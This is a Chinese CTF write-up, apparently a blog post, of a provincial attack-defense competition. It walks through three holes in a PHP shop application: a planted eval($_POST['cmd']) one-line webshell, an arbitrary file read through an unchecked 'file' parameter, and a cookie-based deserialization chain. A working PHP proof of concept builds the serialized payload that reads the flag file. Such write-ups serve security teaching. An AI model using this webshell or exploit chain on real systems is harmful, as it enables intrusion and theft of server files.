zoukankan      html  css  js  c++  java
  • AWD省赛记录

    1.后门

    这里第一个后门应该很好找,这个是很友好的,这里后门位于config/config.php

    <?php 
    eval($_POST['cmd']);
    ?>
    

      

    很直接明了的一句话后门,没什么好说的,前一个小时还能打打,到后面肯定大家都修了,这个不多说。

    这里我的flag留在了tmp目录下,所以直接读取就好了

    2.文件读取

    由于是典型的mvc框架,也就是说我们需要重点看controller文件,分析其中的功能。

    这里主要看controller/index.class.php,因为这个是前台的文件,因此如果想要前台直接获取flag的话,读这个文件肯定没错了

    这里漏洞代码为index.class.php文件第82行开始

    	function show_pic()
    	{
    		$pic = get('file');
    		if ($pic != null){
    			header("Content-type:image/jpeg");
    			echo file_get_contents($pic);
    		}
    	}
    

    这里很明显,可以直接利用file_get_contents函数来读取flag文件,这里可能唯一要注意的就是路由参数,这个直接看init.php分析下路由信息即可

    3.反序列化

    这个漏洞也是本文想要提的点,现在想来当时没打下来也是可笑。。其实整个POP链并不是多么的复杂。。

    当时在登录处看到了反序列化的操作,代码位于controller/login.class.php的login函数中

    {
                    header("Content-type: text/html; charset=utf-8");
     
    		$user_data = @unserialize(base64_decode($_COOKIE['AshopToken']));
    		$_SESSION['ip'] = $user_data['ip'];
                    $_SESSION['time'] = $user_data['time'];
     
    		$username = $_POST ['username' ];
    		$password = $_POST ['password' ];
    		$database = new login();
    		$user_data = $database->get_user_info( $username );
    		$user_info = $user_data[0];
    		if ($user_info) {
    			$realpass = md5($password);
    			if ($realpass == $user_info['password']) {
    				session_start();
    				$_SESSION['user'] = $username;
    				$_SESSION['pass'] = md5($realpass);
    				echo "<script>";
    		      	echo "window.location.href = '?c=admin'";
    		      	echo "</script>";
    			}
    			else{	//密码错误
    				echo "<script>";
    				echo "alert('用户名或密码错误');";
    		      	echo "window.location.href = '?c=login'";
    		      	echo "</script>";
    			}
    		}
    		else{	//用户名错误
    			echo "<script>";
    			echo "alert('用户名或密码错误');";
    	      	echo "window.location.href = '?c=login'";
    	      	echo "</script>";
    		}
    	}
    

      

    这里最重要的是这个COOKIE['AshopToken']函数可控,因此当时判定这个肯定存在反序列化漏洞的,但是当时也找到了魔术方法,只是最后利用没利用起来。。

    下面全局搜索魔术方法,如_wakeup、_toString等方法

    这里在lib/class/picture.class.php中找到了_wakeup函数

    /**
       * @var array $data
       */
      protected $data;
     
      /**
       * @var int $itemsPerPage
       */
      protected $itemsPerPage;
     
      /**
       * @var string $imgPath
       */
      public $imgPath;
     
      function __construct($data, $itemsPerPage) {
        $this->data = $data;
        $this->itemsPerPage = $itemsPerPage;
      }
     
      function __wakeup() {
        echo file_get_contents($this->imgPath);
      }
     
      /**
       * Returns the pictures of the given page or an empty array if page doesn't exist
       * @param int $page
       * @return array
       */
      public function getPage($page=1) {
        if ($page > 0 && $page <= $this->getNumberOfPages()) {
          $startOffset = ($page - 1) * $this->itemsPerPage;
          return array_slice($this->data, $startOffset, $this->itemsPerPage);
        }
        return array();
      }
     
      /**
       * Returns the maximum number of pages
       * @return int
       */
      public function getNumberOfPages() {
        return ceil(count($this->data) / $this->itemsPerPage);
      }
    }
    

      

    这里的_wakeup其实是很可疑的,因为会直接输出文件内容,由于比赛时flag是存储在根目录下的,所以利用_wakeup函数来读取flag文件内容,应该就是这样的思路。这里需要注意的就是有两个protected属性变量,这两个变量并不会影响结果,所以我们在初始化类的时候直接定义就好了,最后传入imgPath参数即可

    这里首先本地调试下

    <?php
    /**
     * Sample php server script for a wookmark integration
     *
     * @author Sebastian Helzle <sebastian@helzle.net>
     */
     
    /**
     * Basic class which provides all functions to retrieve and paginate pictures
     */
    class picture {
     
      /**
       * @var array $data
       */
      protected $data;
     
      /**
       * @var int $itemsPerPage
       */
      protected $itemsPerPage;
     
      /**
       * @var string $imgPath
       */
      public $imgPath;
     
      function __construct($data, $itemsPerPage) {
        $this->data = $data;
        $this->itemsPerPage = $itemsPerPage;
      }
     
      function __wakeup() {
        echo file_get_contents($this->imgPath);
      }
     
      /**
       * Returns the pictures of the given page or an empty array if page doesn't exist
       * @param int $page
       * @return array
       */
      public function getPage($page=1) {
        if ($page > 0 && $page <= $this->getNumberOfPages()) {
          $startOffset = ($page - 1) * $this->itemsPerPage;
          return array_slice($this->data, $startOffset, $this->itemsPerPage);
        }
        return array();
      }
     
      /**
       * Returns the maximum number of pages
       * @return int
       */
      public function getNumberOfPages() {
        return ceil(count($this->data) / $this->itemsPerPage);
      }
    }
    $poc = new picture('123','456');
    $poc->imgPath = '/tmp/flag';
    $adog = base64_encode(serialize($poc));
    echo $adog;
    //$user_data = @unserialize(base64_decode($adog));
    

      

    这里新建一个picture类,然后将protected属性的变量给定义好,然后传入imgPath参数,最后得到序列话后的值

    然后我们在登录界面,传入序列化后的cookie值,就能触发file_get_contents函数来输出flag文件

    这里序列化后并进行base编码后的值如下

    里由于是登录函数,因此登录抓包修改cookie值就能触发反序列化漏洞,这里报错是因为session中的ip值和反序列化后的值不对应所导致,其实无所谓。因为已经能够读取flag值了。

  • 相关阅读:
    JQuery有几种选择器?
    Java有哪些基本数据类型
    您认为做好测试用例设计工作的关键是什么?
    final关键字
    目前主要的测试用例设计方法是什么?
    举例说明同步和异步。
    maven配置多个镜像
    参数Parameters、变量Variables
    jsp文件导包
    动态横切
  • 原文地址:https://www.cnblogs.com/ls-pankong/p/9310645.html
Copyright © 2011-2022 走看看